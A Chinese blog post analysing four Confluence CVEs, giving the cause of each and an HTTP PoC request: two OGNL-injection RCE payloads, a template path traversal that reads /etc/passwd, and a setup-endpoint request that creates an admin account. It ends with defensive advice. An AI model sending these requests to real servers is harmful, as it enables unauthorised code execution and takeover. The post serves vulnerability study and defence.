confluence

Atlassian Confluence 是企业级 Wiki 系统的霸主,但也因此成为了黑客的重点攻击目标。Confluence 历史上出现过多个极高危的 RCE(远程代码执行) 漏洞,大多数都与 Java 的 OGNL 表达式注入模板注入 有关。

以下是 Confluence 历史上最著名的几个漏洞的原理分析及复现思路。

CVE-2022-26134: OGNL 注入 (无需登录 RCE)

这是 2022 年影响最大的漏洞之一,攻击者可以在未登录的情况下通过构造恶意的 URL 直接控制服务器。

  • 影响版本:Confluence Server/Data Center 几乎所有版本 (至 7.18.0 修复)

  • 漏洞原理: Struts2 框架(Confluence 底层使用)在处理 HTTP 请求 URL 时,会先对 URL 进行解码。Confluence 的某个过滤器在处理 URL 时,错误地将 URL 中的内容作为 OGNL (Object-Graph Navigation Language) 表达式进行了求值。 简单来说,URL 本身被当成了代码执行

  • 复现思路 (PoC): 攻击者只需在 URL 路径中插入经过 URL 编码的 OGNL 表达式。

    Payload 结构

    GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/ HTTP/1.1
    Host: target-confluence
    

    %24%7B...%7D 解码后是 ${...},即 OGNL 表达式的包裹符号。

    内容通常调用 java.lang.Runtime 来执行系统命令(如 idwhoami)。

    执行结果通常会直接回显在 HTTP 响应头(如 X-Cmd-Response)或页面内容中。

CVE-2021-26084: OGNL 注入 (无需登录 RCE)

这个漏洞存在于 Confluence 的 Webwork 框架处理 Velocity 模板的过程中。

  • 影响版本:Confluence < 7.13.0 等

  • 漏洞原理: 在某些功能点(如“创建空间”或“页面变量”),Confluence 使用 Velocity 模板引擎渲染视图。如果用户输入的数据被直接拼接进了 Velocity 模板,并且触发了二次解析,就会导致 OGNL 注入。 具体来说,是在处理 queryString 参数时,代码使用了 findValue 方法,该方法会强制解析 OGNL 表达式。

  • 复现思路 (PoC): 通常攻击点在 /pages/doenterpagevariables.action 接口。

    Payload 结构

    POST /pages/doenterpagevariables.action HTTP/1.1
    Host: target-confluence
    Content-Type: application/x-www-form-urlencoded
    
    queryString=\u0027%2b%23%7b%22system%22%3a%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7d%2b\u0027
    
  • 攻击者利用 Unicode 编码(\u0027)闭合原有的字符串上下文,插入恶意的 OGNL 表达式 #{ @java.lang.Runtime@getRuntime().exec("id") }

CVE-2019-3396: Widget Connector 模版注入 (SSTI & 路径遍历)

这是文件读取和 RCE 的组合拳,利用了 Widget Connector 宏。

  • 影响版本:Confluence < 6.14.2

  • 漏洞原理: Widget Connector 宏(用于嵌入视频、地图等)允许用户指定一个渲染器。参数 _template 没有过滤路径,导致攻击者可以利用目录遍历(../)加载服务器上的任意文件作为模板。 如果加载的文件包含特定代码(如 Velocity 语法),或者通过 ftp:// 协议加载远程恶意文件,即可实现 RCE。

  • 复现思路 (PoC): 使用 POST /rest/tinymce/1/macro/preview 接口进行预览触发。

    读取文件 Payload

    {
        "contentId": "123",
        "macro": {
            "name": "widget",
            "params": {
                "url": "https://www.viddler.com/v/23464", 
                "width": "1000", 
                "height": "1000", 
                "_template": "../../../../../../../../etc/passwd"
            },
            "body": ""
        }
    }
    
    • _template 指向 /etc/passwd,Confluence 试图将其作为模板解析,报错或回显中可能包含文件内容

    CVE-2023-22515: 权限提升 (Broken Access Control)

    这是一个逻辑漏洞,允许攻击者把自己变成管理员。

    • 影响版本:Confluence 8.0.0 - 8.5.1

    • 漏洞原理: Confluence 的某些 Setup(安装向导)相关接口没有正确屏蔽已安装完毕的系统。攻击者可以通过修改请求参数,欺骗系统认为“还没安装完管理员账号”,从而允许重新运行管理员创建流程。

    • 复现思路 (PoC)

      1. 访问 /server-info 获取状态。
      2. 发送请求到 /setup/setupadministrator 并带上 setupComplete=false 参数。

      Payload 结构

      POST /setup/setupadministrator?setupComplete=false HTTP/1.1
      Host: target-confluence
      X-Atlassian-Token: no-check
      Content-Type: application/x-www-form-urlencoded
      
      username=hacker&fullName=hacker&email=hacker@example.com&password=password123&confirm=password123&setup-next-button=Next
      
      • 一旦成功,你就可以用这组账号密码登录后台,获得超级管理员权限。

防御:

即时补丁:Atlassian 的漏洞利用速度极快(通常 24 小时内就有 PoC),必须订阅官方公告并第一时间升级。

不要暴露在公网:这是最重要的。将 Confluence 放在 VPN 后面。

WAF 防护:配置 WAF 拦截包含 ${, %24, OGNL 等特征的请求。

监测日志:重点监控 post_action 产生的异常日志,以及对 /setup/* 路径的访问请求。

posted @ 2026-01-14 18:54  安清灵风  阅读(5)  评论(0)    收藏  举报